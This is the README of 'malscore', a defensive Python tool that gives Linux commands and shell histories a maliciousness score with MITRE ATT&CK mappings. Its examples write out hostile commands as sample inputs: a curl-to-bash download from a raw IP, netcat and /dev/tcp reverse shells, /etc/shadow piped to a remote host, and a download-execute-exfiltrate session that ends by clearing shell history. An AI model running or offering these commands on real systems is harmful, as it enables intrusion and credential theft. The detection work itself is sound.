
Scoring de malveillance pour les commandes Linux
malscore prend une ligne de commande Linux, ou une session de commandes telle qu'un historique de shell, et renvoie un score de malveillance de 0 à 100 avec une bande de verdict et un mappage MITRE ATT&CK :
command(s) → features → signals → score + MITRE mapping
Il n'exécute, n'étend ni ne résout jamais rien — il ne fait que lire le texte
(imposé par tests/test_safety.py). Il n'a aucune dépendance au-delà de la bibliothèque
standard Python (3.8+).
pip install malscore # provides the `malscore` command
Depuis une copie de travail des sources :
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True) masque les valeurs ressemblant à des identifiants avant que tout texte de commande ne soit renvoyé ; les scores ne sont pas affectés.
Exemples :
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
████████████████████████ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
████████████░░░░░░░░░░░░ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
Dans un fichier de session, chaque ligne non vide correspond à une commande, prise littéralement : il n'y a
aucune gestion des commentaires, des continuations de ligne ou des here-documents. --batch est
différent : il évalue chaque commande d'un flux JSON indépendamment, sans analyse inter-commandes.
| score | verdict | signification |
|---|---|---|
| 80–100 | critical | la forme est rarement légitime (reverse shell, effacement de disque, compte uid‑0) |
| 60–79 | high | preuves solides ; à examiner rapidement |
| 35–59 | medium | suspect dans la plupart des contextes (curl‑pipe‑shell, lecture de shadow) |
| 15–34 | low | à noter en combinaison |
| 0–14 | benign | routine |
Les bandes et les poids sont un point de départ ajusté manuellement, pas un modèle entraîné — chaque point du score se rattache à un signal nommé et à une technique MITRE ATT&CK.
sudo/env/xargs sont déballés, les substitutions et les charges utiles -c
sont explorées, et des caractéristiques déterministes sont calculées — chaînes de téléchargement,
chemins touchés, surfaces de persistance, astuces d'encodage, et un
groupe tradecraft (malscore/tradecraft.py) qui reconnaît des techniques d'attaquant
spécifiques par leur forme.malscore/signals.py est un catalogue d'environ 120 signaux nommés : un
prédicat sur l'enregistrement de caractéristiques, un poids dans (0, 1], une tactique MITRE et
des identifiants de technique. Un poids se lit comme « quelle est la probabilité que ce soit hostile si
c'était la seule chose que nous sachions ». Le catalogue couvre, par tactique ATT&CK :
/proc/self/fd ;/etc/shadow et clés privées, métadonnées cloud,
recherches de mots-clés d'identifiants dans les fichiers de configuration, lectures de .pgpass/.netrc/
fichiers d'identifiants cloud, extraction d'environnement et d'historique, détournement de l'agent SSH ;sudo -u#-1,
détournements de PATH ;/proc ;DROP TABLE, suppressions massives de processus.